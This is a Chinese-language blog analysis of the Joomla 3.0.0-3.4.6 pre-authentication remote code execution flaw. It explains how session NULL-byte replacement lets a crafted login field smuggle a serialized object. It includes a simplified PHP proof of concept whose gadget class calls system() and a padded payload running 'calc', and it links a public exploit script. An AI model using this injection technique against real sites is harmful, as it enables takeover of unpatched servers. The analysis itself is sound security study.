Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录
0x00 前言
今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了。我大致看了一眼描述,觉得是个挺有意思的漏洞,因此有了这篇分析的文章,其实这个漏洞的分析老外在博客中也写过了,本质上这是一个Session反序列化导致的RCE漏洞,由于Joomla对于Session的特殊处理,导致漏洞触发并不需要登陆。因此成了Pre-auth RCE.
0x01 漏洞环境搭建
代码下载: https://github.com/joomla/joomla-cms/releases/tag/3.4.6
下载安装就好,要求php 5.3.10 以上,其他跟着提示走就ok 。
0x02 漏洞原理分析
PHP对Session的存储是默认放在文件中,当有活动会话产生使用到Session时候,将会在服务端php设置好的路径写入一个文件,文件的内容为默认序列化处理器序列化后的数据。在Joomla中则改变了PHP的默认处理规则,将序列化之后的数据存放在数据库中,这步操作对应的处理函数为\libraries\joomla\session\storage\database.php 中的write:
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); // Try to update the session data in the database table.
$db->setQuery($query); if (!$db->execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
catch (Exception $e)
{
return false;
}
}
这里我故意将注释也贴出来,很明显作者的注释意思也写得十分明确。然后取值的时候使用的操作对应的函数是read:
/**
* Read the data for a particular session identifier from the SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 11.1
*/
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo(); try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result;
}
catch (Exception $e)
{
return false;
}
}
从代码中可以看出,在存入数据库之前,会将传入数据中的chr(0) . '*' . chr(0) 替换为\0\0\0, 原因是mysql数据库无法处理NULL字节,而protected 修饰符修饰的字段在序列化之后是以\x00\x2a\x00开头的。然后从数据库中取出来的时候,再将字符进行替换还原,防止无法正常反序列化。
但是这样会导致什么样的问题呢?我们首先需要了解一下PHP的序列化机制,PHP在序列化数据的过程中,如果序列化的字段是一个字符串,那么将会保留该字符串的长度,然后将长度写入到序列化之后的数据,反序列化的时候按照长度进行读取。那么结合上边说到的问题,如果写入数据库的时候,是\0\0\0, 取出来的时候将会变成chr(0) . '*' . chr(0), 这样的话,入库的时候生成的序列化数据长度为6(\0\0\0), 取出来的时候将会成为3(N*N, N表示NULL),这样在反序列化的时候,如果按照原先的长度读取,就会导致后续的字符被吃掉!那这样有什么问题呢?这里需要简单说一下PHP反序列化的特点,PHP按照长度读取指定字段的值,读取完成以分号结束,接着开始下一个,如果我们能够控制两个字段的值,第一个用来吃掉第一个字段和第二个字段中间的部分,第二个字段用来构造序列化利用的payload,那么执行将会把第一个字段开头的部分到第二个字段开始的为止当成第一个字段的内容,第二个字段内容逃逸出来被反序列化!!
说了这么多,对于理解这个漏洞已经足够了,因此我写了一个伪代码来帮助理解:
<?php // pop 利用链
class Evil {
public $cmd; public function __construct($cmd) {
$this->cmd = $cmd;
} public function __destruct() {
// var_dump($this->cmd);
system($this->cmd);
} } // 模拟真实的登陆处理逻辑
class User {
public $username;
public $password; public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
} // public function __destruct() {
// var_dump($this->username);
// var_dump($this->password);
// }
} function write($id, $data) {
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
$arr = array($id => $data);
file_put_contents("db.txt", json_encode($arr));
} function read($id) {
$data = file_get_contents("db.txt");
$result = json_decode($data, true);
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result[$id]);
return $result;
} // 发送的username 值
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = 'AAAA";'; // padding // 构造一个fake password字段,将其内容设置为一个恶意构造的对象
$shellcode = 's:8:"password";O:4:"Evil":1:{s:3:"cmd";s:4:"calc";}'; $password = $password . $shellcode; write("123", serialize(new User($username, $password))); var_dump(unserialize(read("123"))); ?>
我将这里的write和read函数简化,数据库操作部分使用文件代替,重点我们解释一下payload的构造部分:
这里使用9组\0\0\0作为第一个参数username的值,这样的话,长度将会是54,反序列化处理时候将会变成27,吃掉后续的27个字符才是username的值。
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"payload";}
";s:8:"password";s:7:" 的长度为22,\0处理完成后本身会剩下27,这样的话一共是49,还会吃掉5个字符,我们应该补5个。但是并不是这样,因此这里我写
的password的值是payload,长度是7,实际上我们的payload长度会超过10,因此生成的序列化数据就不是0-9一位数了,至少是两位数,我这里的测试案例
是刚好两位数。因此补4个字符就可以了。接着是后续的payload.关于payload的查找和利用可以参考老外的文章,这里不再赘述。 接着还有最后一个问题,反序列化触发点在哪里?这里又牵扯到Joomla的一个特性,一个未登陆的用户如果进行登陆,那么他的登陆信息也会被序列化之后存入到数据库之中。
因此这里选择登陆框进行攻击! 最后贴上一张伪代码测试成功的图:
Joomla中详细的处理流程和代码分析我就不写了,自己动手调试吧~~
0x03 参考资料 1. https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41 2. https://raw.githubusercontent.com/momika233/Joomla-3.4.6-RCE/master/Joomla-3.4.6-RCE.py
Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录的更多相关文章
- 【代码审计】YUNUCMS_v1.0.6 前台反射型XSS跨站脚本漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】eduaskcms_v1.0.7前台存储型XSS漏洞分析
0x00 环境准备 eduaskcms官网:https://www.eduaskcms.xin 网站源码版本:eduaskcms-1.0.7 程序源码下载:https://www.eduaskcm ...
- Sunlogin RCE漏洞分析和使用
介绍 前两天网上曝出了关于向日葵远控工具(Sunlogin)Windows个人版的RCE漏洞POC.因为利用简单并且网上出现了公开的自动化扫描脚本,所以测试的人很多,也出现了一些真实攻击.漏洞的问 ...
- 向日葵远程RCE漏洞分析及漏洞利用脚本编写
0x00 漏洞概述 向日葵是一款免费的,集远程控制电脑.手机.远程桌面连接.远程开机.远程管理.支持内网穿透等功能的一体化远程控制管理软件.如果想要手机远控电脑,或者电脑远控手机可以利用向日葵:如果是 ...
- Windows RDP的RCE漏洞分析和复现(CVE-2019-0708)
0x00 漏洞描述 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如:windows2003.windows2008.windows2008 R2.windows ...
- Spring Core rce漏洞分析(CVE-2022-22965)
漏洞描述: Springmvc框架参数绑定功能,绑定了请求里的参数造成变量注入,攻击者可以实现任意文件写入,漏洞点spring-beans包中. 漏洞编号: CVE-2022-22965 影响范围: ...
- Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
RickGray · 2015/10/26 11:24 昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响.攻击者通过该漏洞可以直接 ...
- Nuxeo 认证绕过和RCE漏洞分析(CVE-2018-16341)
简介 Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS).nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页 ...
- Struts S2-048 RCE漏洞分析
应该是S2-048目前最详细的一篇了.. 漏洞影响 Struts 2.3.x系列中的Showcase应用 使用了struts1 插件,并在使用ActionMessages时将客户端可控的参数拼接传递给 ...
随机推荐
- smarty 第一条数据判断
<div class="shangpin_rightdiv2"> <p>颜色</p> <ul id="toggle"& ...
- 【数学建模】线性规划各种问题的Python调包方法
关键词:Python.调包.线性规划.指派问题.运输问题.pulp.混合整数线性规划(MILP) 注:此文章是线性规划的调包实现,具体步骤原理请搜索具体解法. 本文章的各个问题可能会采用多种调用方 ...
- Node线上部署管理器PM2
PM2是一个带有负载均衡功能的Node应用的进程管理器.PM2可以利用服务器上的所有CPU,并保证进程永远都活着,0秒的重载,部署管理多个Node项目.PM2是Node线上部署完美的管理工具. PM2 ...
- Hyperledger Fabric1.4 网络环境搭建步骤
1. 外部访问虚拟机: 安装ssh apt-get install openssh-server openssh-client 2. 安装vim sudo apt install vim 3. ...
- Maven Web 工程
本教程将教您如何在Eclipse中创建 Archetype为 maven-archetype-webapp的Maven项目,也就是web工程. 创建Maven工程 第一步,启动Eclipse,依次打开 ...
- 移动端1px的边框
我们知道,在移动端存在物理像素(physical pixel)和设备独立像素(density-independent pixel)的概念.物理像素也称为设备像素,它是显示设备中一个最微小的物理部件,每 ...
- python报错及处理 -- 不断总结
ModuleNotFoundError: No module named 'PIL' 解决方法: 运行命令:pip install Pillow IndentationError: expected ...
- 第二章 impala基础使用
第二章 impala基本使用 1.impala的使用 1.1.impala-shell语法 1.1.1.impala-shell的外部命令参数语法 不需要进入到impala-shell交互命令行当中即 ...
- PAT B1006 换个格式输出整数 (15)
AC代码 #include <cstdio> const int max_n = 3; char radix[max_n] = {' ', 'S', 'B'}; int ans[max_n ...
- pycharm连接mysql是出现Connection to orm02@127.0.0.1 failed. [08001] Could not create connection to database server. Attempted reconnect 3 times. Giving up.
下面这个问题反正我是遇到了,也是难为我好几天,于是我决定发一个教程出来给大家看看!希望能帮助你们 原因: 可能是数据库的版本与本机装的驱动不匹配导致的, 解决方案一: 在 url 后面街上一句 因为笔 ...